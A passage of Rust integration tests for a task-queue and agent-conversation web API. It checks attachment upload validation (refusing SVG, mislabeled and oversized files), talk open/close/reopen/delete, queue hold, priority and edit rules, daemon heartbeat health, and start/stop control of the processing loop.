5667 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5670
5671 #[tokio::test]
5672 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5673 let tmp = TempDir::new().expect("tempdir");
5674 let repo = tmp.path().join("repo");
5675 std::fs::create_dir_all(&repo).expect("repo dir");
5676 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5677 let f = Fixture::with_repo(repo).await;
5678 let id_a = f.post("/api/talks", None).await.json()["id"]
5679 .as_str()
5680 .unwrap()
5681 .to_owned();
5682 let id_b = f.post("/api/talks", None).await.json()["id"]
5683 .as_str()
5684 .unwrap()
5685 .to_owned();
5686
5687 let a = f
5688 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5689 .await;
5690 assert_eq!(a.status, 202, "{}", a.body);
5691 assert_eq!(a.json()["thinking"], true);
5692 let b = f
5693 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5694 .await;
5695 assert_eq!(b.status, 202, "{}", b.body);
5696 assert_eq!(b.json()["thinking"], true);
5697
5698 let listed = f.get("/api/talks").await.json();
5699 for id in [&id_a, &id_b] {
5700 let view = listed
5701 .as_array()
5702 .unwrap()
5703 .iter()
5704 .find(|talk| talk["id"] == *id)
5705 .unwrap();
5706 assert_eq!(view["thinking"], true, "{listed}");
5707 }
5708 let repeated = f
5709 .post(
5710 &format!("/api/talks/{id_a}/say"),
5711 Some(r#"{"text":"again"}"#),
5712 )
5713 .await;
5714 assert_eq!(repeated.status, 202, "{}", repeated.body);
5715 assert_eq!(repeated.json()["pending"], "again");
5716 }
5717
5718 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5721
5722 #[tokio::test]
5723 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5724 let f = Fixture::start().await;
5725 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5726
5727 let res = f
5728 .post_bytes(
5729 &format!("/api/talks/{id}/attachments"),
5730 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5731 PNG_BYTES,
5732 )
5733 .await;
5734 assert_eq!(res.status, 201, "{}", res.body);
5735 let body = res.json();
5736 assert_eq!(body["name"], "shot.png");
5737 assert_eq!(body["mime"], "image/png");
5738 assert_eq!(body["bytes"], PNG_BYTES.len());
5739 let att_id = body["id"].as_str().expect("id").to_owned();
5740 assert_eq!(
5741 att_id.len(),
5742 32,
5743 "the id must never be a client-suppliable path: {att_id}"
5744 );
5745
5746 let got = f
5747 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5748 .await;
5749 assert_eq!(got.status, 200, "{}", got.body);
5750 assert_eq!(got.header("content-type"), Some("image/png"));
5751 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5752 assert_eq!(got.bytes, PNG_BYTES);
5753 }
5754
5755 #[tokio::test]
5756 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5757 let f = Fixture::start().await;
5758 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5759
5760 let svg = f
5763 .post_bytes(
5764 &format!("/api/talks/{id}/attachments"),
5765 &[("Content-Type", "image/svg+xml")],
5766 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5767 )
5768 .await;
5769 assert!(
5770 (400..500).contains(&svg.status),
5771 "svg must be refused: {} {}",
5772 svg.status,
5773 svg.body
5774 );
5775 assert!(svg.body.contains("SVG"), "{}", svg.body);
5776
5777 let text = f
5778 .post_bytes(
5779 &format!("/api/talks/{id}/attachments"),
5780 &[("Content-Type", "text/plain")],
5781 b"just some text",
5782 )
5783 .await;
5784 assert!(
5785 (400..500).contains(&text.status),
5786 "an unlisted type must be refused: {} {}",
5787 text.status,
5788 text.body
5789 );
5790
5791 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5794 let big = f
5795 .post_bytes(
5796 &format!("/api/talks/{id}/attachments"),
5797 &[("Content-Type", "image/png")],
5798 &oversized,
5799 )
5800 .await;
5801 assert_eq!(
5802 big.status,
5803 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5804 "{}",
5805 big.body
5806 );
5807 }
5808
5809 #[tokio::test]
5810 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5811 let f = Fixture::start().await;
5812 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5813
5814 let res = f
5817 .post_bytes(
5818 &format!("/api/talks/{id}/attachments"),
5819 &[("Content-Type", "image/png")],
5820 b"<html>not a picture</html>",
5821 )
5822 .await;
5823 assert!((400..500).contains(&res.status), "{}", res.body);
5824 }
5825
5826 #[tokio::test]
5827 async fn an_unknown_attachment_id_is_a_404() {
5828 let f = Fixture::start().await;
5829 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5830
5831 let res = f
5832 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5833 .await;
5834 assert_eq!(res.status, 404, "{}", res.body);
5835 }
5836
5837 #[tokio::test]
5838 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5839 let f = Fixture::start().await;
5840 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5841
5842 let uploaded = f
5843 .post_bytes(
5844 &format!("/api/talks/{id}/attachments"),
5845 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5846 PNG_BYTES,
5847 )
5848 .await;
5849 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5850 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5851
5852 let res = f
5853 .post(
5854 &format!("/api/talks/{id}/say"),
5855 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
5856 )
5857 .await;
5858 assert_eq!(res.status, 202, "{}", res.body);
5859 let queued = res.json();
5860 let turns = queued["turns"].as_array().expect("turns array");
5861 assert_eq!(
5862 turns.len(),
5863 1,
5864 "an empty body with an attachment is still a turn: {queued}"
5865 );
5866 assert_eq!(turns[0]["who"], "operator");
5867 assert_eq!(turns[0]["body"], "");
5868 let atts = turns[0]["attachments"]
5869 .as_array()
5870 .expect("attachments array");
5871 assert_eq!(atts.len(), 1);
5872 assert_eq!(atts[0]["id"], att_id);
5873 assert_eq!(atts[0]["mime"], "image/png");
5874
5875 let on_disk = f.talks().get(&id).expect("get");
5878 assert_eq!(on_disk.turns[0].attachments.len(), 1);
5879 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
5880 }
5881
5882 #[tokio::test]
5883 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
5884 let f = Fixture::start().await;
5885 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
5886
5887 let res = f
5888 .post(
5889 &format!("/api/talks/{id}/say"),
5890 Some(&format!(
5891 r#"{{"text":"hi","attachments":["{}"]}}"#,
5892 "a".repeat(32)
5893 )),
5894 )
5895 .await;
5896 assert!((400..500).contains(&res.status), "{}", res.body);
5897 assert!(res.body.contains("unknown attachment"), "{}", res.body);
5898
5899 let on_disk = f.talks().get(&id).expect("get");
5900 assert!(
5901 on_disk.turns.is_empty(),
5902 "a rejected attachment id must not partially record the turn: {:?}",
5903 on_disk.turns
5904 );
5905 }
5906
5907 #[tokio::test]
5908 async fn talk_close_makes_the_talk_refuse_further_turns() {
5909 let f = Fixture::start().await;
5910 let id = seed_talk(&f, "20260904-014455-cd34", "open");
5911
5912 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5913 assert_eq!(closed.status, 200, "{}", closed.body);
5914 assert_eq!(closed.json()["status"], "closed");
5915
5916 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
5918 assert_eq!(closed_again.status, 200);
5919 assert_eq!(closed_again.json()["status"], "closed");
5920
5921 let said = f
5922 .post(
5923 &format!("/api/talks/{id}/say"),
5924 Some(r#"{"text":"too late"}"#),
5925 )
5926 .await;
5927 assert_eq!(said.status, 409, "{}", said.body);
5928 }
5929
5930 #[tokio::test]
5931 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
5932 let (_tmp, _repo, f) = talk_fixture().await;
5933 let id = f.post("/api/talks", None).await.json()["id"]
5934 .as_str()
5935 .expect("id")
5936 .to_owned();
5937 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5938 assert_eq!(closed.status, 200, "{}", closed.body);
5939
5940 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5941 assert_eq!(reopened.status, 200, "{}", reopened.body);
5942 assert_eq!(reopened.json()["status"], "open");
5943
5944 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5946 assert_eq!(reopened_again.status, 200);
5947 assert_eq!(reopened_again.json()["status"], "open");
5948
5949 let said = f
5950 .post(
5951 &format!("/api/talks/{id}/say"),
5952 Some(r#"{"text":"still there?"}"#),
5953 )
5954 .await;
5955 assert_eq!(
5956 said.status, 202,
5957 "a reopened talk accepts turns again: {}",
5958 said.body
5959 );
5960 }
5961
5962 #[tokio::test]
5963 async fn talk_reopen_on_an_unknown_id_is_404() {
5964 let f = Fixture::start().await;
5965 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
5966 assert_eq!(res.status, 404, "{}", res.body);
5967 }
5968
5969 #[tokio::test]
5970 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
5971 let f = Fixture::start().await;
5972 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
5973
5974 let deleted = f.delete(&format!("/api/talks/{id}")).await;
5975 assert_eq!(deleted.status, 204, "{}", deleted.body);
5976
5977 let after = f.get(&format!("/api/talks/{id}")).await;
5978 assert_eq!(after.status, 404, "{}", after.body);
5979
5980 let listed = f.get("/api/talks").await.json();
5981 assert!(
5982 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
5983 "a deleted talk must not linger in the list: {listed}"
5984 );
5985 }
5986
5987 #[tokio::test]
5988 async fn talk_delete_on_an_unknown_id_is_404() {
5989 let f = Fixture::start().await;
5990 let res = f.delete("/api/talks/nonexistent-id").await;
5991 assert_eq!(res.status, 404, "{}", res.body);
5992 }
5993
5994 #[tokio::test]
5995 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
5996 let f = Fixture::start().await;
5997 let queue = f.queue();
5998 let mut task = Task::new(
5999 "spent".to_owned(),
6000 "Try again".to_owned(),
6001 PathBuf::from("/repo/magi"),
6002 Source::Human,
6003 );
6004 task.start("20260902-140502-bbbb".to_owned());
6005 task.fail("agent gave up", 9);
6006 queue.put(&mut task).expect("file the task");
6007
6008 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6009 assert_eq!(held.status, 200);
6010 assert_eq!(held.json()["status_str"], "held");
6011
6012 let released = f
6013 .post(&format!("/api/queue/{}/release", task.id), None)
6014 .await;
6015 assert_eq!(released.status, 200);
6016 assert_eq!(released.json()["status_str"], "queued");
6017 assert_eq!(
6018 released.json()["attempts"],
6019 0,
6020 "release is a real second chance, not an instant re-hold"
6021 );
6022 assert_eq!(
6023 queue.get(&task.id).expect("reload").status,
6024 TaskStatus::Queued,
6025 "the change is on disk, not only in the reply"
6026 );
6027 assert!(
6028 !f.home
6029 .path()
6030 .join("queue")
6031 .join(format!("{}.lock", task.id))
6032 .exists(),
6033 "the claim the mutation took is released again"
6034 );
6035 }
6036
6037 #[tokio::test]
6038 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6039 let f = Fixture::start().await;
6040 let queue = f.queue();
6041 let mut task = Task::new(
6042 "busy".to_owned(),
6043 "Running right now".to_owned(),
6044 PathBuf::from("/repo/magi"),
6045 Source::Human,
6046 );
6047 queue.put(&mut task).expect("file the task");
6048 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6049
6050 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6051
6052 assert_eq!(res.status, 409);
6053 assert_eq!(
6054 queue.get(&task.id).expect("reload").status,
6055 TaskStatus::Queued,
6056 "the refused hold changed nothing"
6057 );
6058 }
6059
6060 #[tokio::test]
6061 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6062 let f = Fixture::start().await;
6063 let queue = f.queue();
6064 let mut task = Task::new(
6065 "waiting on the migration".to_owned(),
6066 "Do the thing".to_owned(),
6067 PathBuf::from("/repo/magi"),
6068 Source::Human,
6069 );
6070 queue.put(&mut task).expect("file the task");
6071
6072 let held = f
6073 .post(
6074 &format!("/api/queue/{}/hold", task.id),
6075 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6076 )
6077 .await;
6078 assert_eq!(held.status, 200, "{}", held.body);
6079 assert_eq!(held.json()["status_str"], "held");
6080 assert_eq!(
6081 held.json()["hold_reason"],
6082 "waiting for 20260101-000000-aaaa to land"
6083 );
6084
6085 let listed = f.get("/api/queue").await.json();
6086 assert_eq!(
6087 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6088 "the card reads the reason off the same list route"
6089 );
6090
6091 let mut plain = Task::new(
6094 "no reason given".to_owned(),
6095 "Do another thing".to_owned(),
6096 PathBuf::from("/repo/magi"),
6097 Source::Human,
6098 );
6099 queue.put(&mut plain).expect("file the task");
6100 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6101 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6102 assert!(held_plain.json()["hold_reason"].is_null());
6103
6104 let released = f
6105 .post(&format!("/api/queue/{}/release", task.id), None)
6106 .await;
6107 assert_eq!(released.status, 200);
6108 assert!(
6109 released.json()["hold_reason"].is_null(),
6110 "a release must clear the reason so the next hold does not inherit it"
6111 );
6112 }
6113
6114 #[tokio::test]
6115 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6116 let f = Fixture::start().await;
6117 let queue = f.queue();
6118 let mut older = Task::new(
6119 "filed first".to_owned(),
6120 "x".to_owned(),
6121 PathBuf::from("/repo/magi"),
6122 Source::Human,
6123 );
6124 older.id = "20260101-000001-aaaa".to_owned();
6125 let mut newer = Task::new(
6126 "filed second".to_owned(),
6127 "x".to_owned(),
6128 PathBuf::from("/repo/magi"),
6129 Source::Human,
6130 );
6131 newer.id = "20260101-000002-bbbb".to_owned();
6132 queue.put(&mut older).expect("file older");
6133 queue.put(&mut newer).expect("file newer");
6134
6135 let before = f.get("/api/queue").await.json();
6138 assert_eq!(before[0]["id"], newer.id);
6139 assert_eq!(before[1]["id"], older.id);
6140
6141 let raised = f
6145 .post(
6146 &format!("/api/queue/{}/priority", older.id),
6147 Some(r#"{"priority":10}"#),
6148 )
6149 .await;
6150 assert_eq!(raised.status, 200, "{}", raised.body);
6151 assert_eq!(raised.json()["priority"], 10);
6152
6153 let after = f.get("/api/queue").await.json();
6154 let names: Vec<&str> = after
6155 .as_array()
6156 .unwrap()
6157 .iter()
6158 .map(|t| t["id"].as_str().unwrap())
6159 .collect();
6160 assert_eq!(names[0], older.id, "the raised task now sorts first");
6164 }
6165
6166 #[tokio::test]
6167 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6168 let f = Fixture::start().await;
6169 let queue = f.queue();
6170 let mut task = Task::new(
6171 "in flight".to_owned(),
6172 "x".to_owned(),
6173 PathBuf::from("/repo/magi"),
6174 Source::Human,
6175 );
6176 task.start("20260902-140502-bbbb".to_owned());
6177 queue.put(&mut task).expect("file the task");
6178
6179 let res = f
6180 .post(
6181 &format!("/api/queue/{}/priority", task.id),
6182 Some(r#"{"priority":9}"#),
6183 )
6184 .await;
6185 assert_eq!(res.status, 400, "{}", res.body);
6186 assert!(
6187 res.json()["error"]
6188 .as_str()
6189 .is_some_and(|e| e.contains("running")),
6190 "{}",
6191 res.body
6192 );
6193 assert_eq!(
6194 queue.get(&task.id).expect("reload").priority,
6195 0,
6196 "the refused write must not partially apply"
6197 );
6198 }
6199
6200 #[tokio::test]
6201 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6202 let f = Fixture::start().await;
6203 let queue = f.queue();
6204 let mut task = Task::new(
6205 "old title".to_owned(),
6206 "old instruction".to_owned(),
6207 PathBuf::from("/repo/magi"),
6208 Source::Agent {
6209 run: "20260101-000000-beef".to_owned(),
6210 node: "implement".to_owned(),
6211 },
6212 );
6213 task.runs.push("20260101-000000-beef".to_owned());
6214 queue.put(&mut task).expect("file the task");
6215 let created_at = task.created_at;
6216
6217 let edited = f
6218 .post(
6219 &format!("/api/queue/{}/edit", task.id),
6220 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6221 )
6222 .await;
6223 assert_eq!(edited.status, 200, "{}", edited.body);
6224 let body = edited.json();
6225 assert_eq!(body["title"], "new title");
6226 assert_eq!(body["instruction"], "new instruction");
6227 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6228 assert_eq!(body["created_at"], created_at.to_string());
6229 assert_eq!(
6230 body["source"]["kind"], "agent",
6231 "editing a task an agent filed must not turn it human: {body}"
6232 );
6233 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6234
6235 let reloaded = queue.get(&task.id).expect("reload");
6236 assert_eq!(reloaded.title, "new title");
6237 assert_eq!(reloaded.instruction, "new instruction");
6238 }
6239
6240 #[tokio::test]
6241 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6242 let f = Fixture::start().await;
6243 let queue = f.queue();
6244 let mut task = Task::new(
6245 "in flight".to_owned(),
6246 "do not touch".to_owned(),
6247 PathBuf::from("/repo/magi"),
6248 Source::Human,
6249 );
6250 task.start("20260902-140502-bbbb".to_owned());
6251 queue.put(&mut task).expect("file the task");
6252
6253 let res = f
6254 .post(
6255 &format!("/api/queue/{}/edit", task.id),
6256 Some(r#"{"title":"x","instruction":"y"}"#),
6257 )
6258 .await;
6259 assert_eq!(res.status, 400, "{}", res.body);
6260 assert!(
6261 res.json()["error"]
6262 .as_str()
6263 .is_some_and(|e| e.contains("running")),
6264 "{}",
6265 res.body
6266 );
6267 assert_eq!(
6268 queue.get(&task.id).expect("reload").instruction,
6269 "do not touch",
6270 "the refused edit must not change the file"
6271 );
6272 }
6273
6274 #[tokio::test]
6275 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6276 let f = Fixture::start().await;
6277 let queue = f.queue();
6278 let mut task = Task::new(
6279 "busy".to_owned(),
6280 "Running right now".to_owned(),
6281 PathBuf::from("/repo/magi"),
6282 Source::Human,
6283 );
6284 queue.put(&mut task).expect("file the task");
6285 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6286
6287 let priority = f
6288 .post(
6289 &format!("/api/queue/{}/priority", task.id),
6290 Some(r#"{"priority":9}"#),
6291 )
6292 .await;
6293 assert_eq!(priority.status, 409, "{}", priority.body);
6294
6295 let edit = f
6296 .post(
6297 &format!("/api/queue/{}/edit", task.id),
6298 Some(r#"{"title":"x","instruction":"y"}"#),
6299 )
6300 .await;
6301 assert_eq!(edit.status, 409, "{}", edit.body);
6302 }
6303
6304 #[tokio::test]
6305 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6306 let f = Fixture::start().await;
6307 let queue = f.queue();
6308 let mut task = Task::new(
6309 "shipped by hand".to_owned(),
6310 "merged outside the loop".to_owned(),
6311 PathBuf::from("/repo/magi"),
6312 Source::Agent {
6313 run: "20260101-000000-b455".to_owned(),
6314 node: "implement".to_owned(),
6315 },
6316 );
6317 task.runs.push("20260101-000000-b455".to_owned());
6318 task.runs.push("20260101-000000-9af4".to_owned());
6319 queue.put(&mut task).expect("file the task");
6320 let created_at = task.created_at;
6321
6322 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6323 assert_eq!(done.status, 200, "{}", done.body);
6324 assert_eq!(done.json()["status_str"], "done");
6325
6326 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6327 assert_eq!(
6328 reloaded.runs,
6329 ["20260101-000000-b455", "20260101-000000-9af4"]
6330 );
6331 assert_eq!(
6332 reloaded.source,
6333 Source::Agent {
6334 run: "20260101-000000-b455".to_owned(),
6335 node: "implement".to_owned(),
6336 }
6337 );
6338 assert_eq!(reloaded.created_at, created_at);
6339 }
6340
6341 #[tokio::test]
6342 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6343 let f = Fixture::start().await;
6348 let queue = f.queue();
6349 let mut task = Task::new(
6350 "landed while held".to_owned(),
6351 "x".to_owned(),
6352 PathBuf::from("/repo/magi"),
6353 Source::Human,
6354 );
6355 task.hold_manual(Some("waiting on 3ed9".to_owned()));
6356 queue.put(&mut task).expect("file the held task");
6357
6358 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6359 assert_eq!(done.status, 200, "{}", done.body);
6360 assert_eq!(done.json()["status_str"], "done");
6361 assert!(
6362 done.json()["hold_reason"].is_null(),
6363 "a done task cannot still be waiting on something: {}",
6364 done.body
6365 );
6366 }
6367
6368 #[tokio::test]
6369 async fn unknown_ids_are_json_not_found_on_both_stores() {
6370 let f = Fixture::start().await;
6371
6372 let run = f.get("/api/runs/nosuchrun").await;
6373 let task = f.post("/api/queue/nosuchtask/hold", None).await;
6374
6375 assert_eq!(run.status, 404);
6376 assert_eq!(task.status, 404);
6377 assert!(
6378 run.json()["error"]
6379 .as_str()
6380 .is_some_and(|e| e.contains("run")),
6381 "the error names what was not found: {}",
6382 run.body
6383 );
6384 assert!(
6385 task.json()["error"]
6386 .as_str()
6387 .is_some_and(|e| e.contains("task")),
6388 "the error names what was not found: {}",
6389 task.body
6390 );
6391 }
6392
6393 #[tokio::test]
6394 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6395 let f = Fixture::start().await;
6396
6397 let missing = f.get("/api/health").await.json();
6398 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6399
6400 write_daemon(
6401 f.home.path(),
6402 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6403 );
6404 let stale = f.get("/api/health").await.json();
6405 assert_eq!(
6406 stale["daemon"]["running"], false,
6407 "a minute without a heartbeat is a dead daemon, not a busy one"
6408 );
6409 assert!(
6410 stale["daemon"]["stale_for_secs"]
6411 .as_i64()
6412 .is_some_and(|s| s >= 55),
6413 "staleness is reported so the UI can say how long: {stale}"
6414 );
6415
6416 write_daemon(f.home.path(), Timestamp::now());
6417 let fresh = f.get("/api/health").await.json();
6418 assert_eq!(fresh["daemon"]["running"], true);
6419 assert_eq!(fresh["daemon"]["idle"], false);
6420 assert_eq!(fresh["daemon"]["pid"], 4242);
6421 assert_eq!(fresh["daemon"]["completed"], 7);
6422 assert_eq!(
6423 fresh["daemon"]["current"][0]["task"],
6424 "20260902-140501-aaaa"
6425 );
6426 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6427 }
6428
6429 #[tokio::test]
6430 async fn the_loop_is_not_running_until_something_starts_it() {
6431 let f = Fixture::start().await;
6432
6433 let view = f.get("/api/loop").await.json();
6434 assert_eq!(view["running"], false);
6435 assert_eq!(
6436 view["owned"], false,
6437 "nobody owns a loop that does not exist: {view}"
6438 );
6439 assert_eq!(view["stopping"], false);
6440 assert_eq!(view["last_error"], Value::Null);
6441 assert_eq!(view["daemon"]["running"], false);
6442 assert_eq!(
6443 view["repo"], "/repo/magi",
6444 "the repository a start would use, named before it is started"
6445 );
6446 }
6447
6448 #[tokio::test]
6449 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6450 let f = Fixture::start().await;
6451
6452 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6453 assert_eq!(res.status, 200, "{}", res.body);
6454 let view = res.json();
6455 assert_eq!(view["running"], true);
6456 assert_eq!(
6457 view["owned"], true,
6458 "the loop the UI started is the UI's own to stop: {view}"
6459 );
6460 assert_eq!(
6461 view["merge"],
6462 Value::Null,
6463 "no override was given, so each repository's own config decides"
6464 );
6465
6466 let health = f.get("/api/health").await.json();
6470 assert_eq!(health["loop"]["running"], true, "{health}");
6471 assert_eq!(health["loop"]["owned"], true, "{health}");
6472
6473 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6474 }
6475
6476 #[tokio::test]
6477 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6478 let f = Fixture::start().await;
6479 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6480 assert_eq!(first.status, 200, "{}", first.body);
6481
6482 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6483 assert_eq!(
6484 again.status, 409,
6485 "two loops on one queue race for the same claims: {}",
6486 again.body
6487 );
6488 assert!(
6489 again.json()["error"]
6490 .as_str()
6491 .is_some_and(|e| e.contains("already running the loop")),
6492 "the refusal has to say why: {}",
6493 again.body
6494 );
6495 assert_eq!(
6496 f.get("/api/loop").await.json()["running"],
6497 true,
6498 "and the loop that was already running is untouched by it"
6499 );
6500
6501 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6502 }
6503
6504 #[tokio::test]
6505 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6506 let f = Fixture::start().await;
6507 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6508
6509 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6510 assert_eq!(
6511 res.status, 200,
6512 "the answer must not wait for the loop: a run in flight is tens of \
6513 minutes and the operator is holding a phone: {}",
6514 res.body
6515 );
6516
6517 let view = settled(&f, |v| v["running"] == false).await;
6518 assert_eq!(view["owned"], false);
6519 assert_eq!(
6520 view["stopping"], false,
6521 "a loop that has stopped is not still stopping: {view}"
6522 );
6523 assert_eq!(
6524 view["last_error"],
6525 Value::Null,
6526 "a loop that was asked to stop did not fail: {view}"
6527 );
6528
6529 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6532 assert_eq!(twice.status, 200, "{}", twice.body);
6533 }
6534
6535 #[tokio::test]
6536 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6537 let f = Fixture::start().await;
6538 write_daemon(f.home.path(), Timestamp::now());
6541
6542 let view = f.get("/api/loop").await.json();
6543 assert_eq!(view["running"], false, "not in this process: {view}");
6544 assert_eq!(view["owned"], false, "and not this process's to control");
6545 assert_eq!(
6546 view["daemon"]["running"], true,
6547 "but a loop is alive somewhere, which is what the UI must say"
6548 );
6549 assert_eq!(view["daemon"]["pid"], 4242);
6550
6551 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6552 let res = f.post("/api/loop", Some(body)).await;
6553 assert_eq!(
6554 res.status, 409,
6555 "neither button may pretend to work on someone else's loop: {}",
6556 res.body
6557 );
6558 assert!(
6559 res.json()["error"]
6560 .as_str()
6561 .is_some_and(|e| e.contains("4242")),
6562 "the refusal has to name the process the operator must go to: {}",
6563 res.body
6564 );
6565 }
6566 assert_eq!(
6567 f.get("/api/loop").await.json()["running"],
6568 false,
6569 "and the refusal started nothing"
6570 );
6571 }
6572
6573 #[tokio::test]
6574 async fn a_stale_status_file_is_not_a_foreign_owner() {
6575 let f = Fixture::start().await;
6576 write_daemon(
6577 f.home.path(),
6578 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6579 );
6580
6581 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6582 assert_eq!(
6583 res.status, 200,
6584 "a daemon killed a minute ago must not lock the loop out of its \
6585 own home for good: {}",
6586 res.body
6587 );
6588 assert_eq!(res.json()["running"], true);
6589
6590 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6591 }
6592
6593 #[tokio::test]
6594 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6595 let f = Fixture::start().await;
6596 let before = f.get("/api/health").await.json()["loop_rev"]
6597 .as_u64()
6598 .expect("a loop revision");
6599
6600 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6601
6602 let after = f.get("/api/health").await.json()["loop_rev"]
6603 .as_u64()
6604 .expect("a loop revision");
6605 assert!(
6606 after > before,
6607 "the loop is in-process state, so this counter is the only thing \
6608 that tells a second device the first one started it: {before} -> \
6609 {after}"
6610 );
6611
6612 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6613 }
6614
6615 #[tokio::test]
6616 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6617 let f = Fixture::with_loop(launch_broken).await;
6618
6619 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6620 assert_eq!(
6621 res.status, 200,
6622 "starting it is not the failure: {}",
6623 res.body
6624 );
6625
6626 let view = settled(&f, |v| v["last_error"].is_string()).await;
6627 assert_eq!(
6628 view["running"], false,
6629 "a loop that died must not read as running, or the operator has \
6630 nothing to press: {view}"
6631 );
6632 assert_eq!(view["owned"], false);
6633 assert!(
6634 view["last_error"]
6635 .as_str()
6636 .is_some_and(|e| e.contains("read-only file system")),
6637 "the phone is where a loop that died at 3am is visible: {view}"
6638 );
6639
6640 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6643 assert_eq!(again.status, 200, "{}", again.body);
6644 assert_eq!(
6645 again.json()["last_error"],
6646 Value::Null,
6647 "a fresh start does not keep showing why the last one died"
6648 );
6649 }
6650
6651 #[tokio::test]
6663 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6664 let home = TempDir::new().expect("temp home");
6665 let runs = home.path().join("runs");
6666 std::fs::create_dir_all(&runs).expect("runs dir");
6667 let ui = Ui::new(
6668 Queue::at(home.path().join("queue")),
6669 Questions::at(home.path().join("questions")),
6670 Talks::at(home.path().join("talks")),
6671 runs,
6672 home.path().to_path_buf(),
6673 PathBuf::from("/repo/magi"),
6674 )
6675 .with_worktrees_root(home.path().join("wt"))
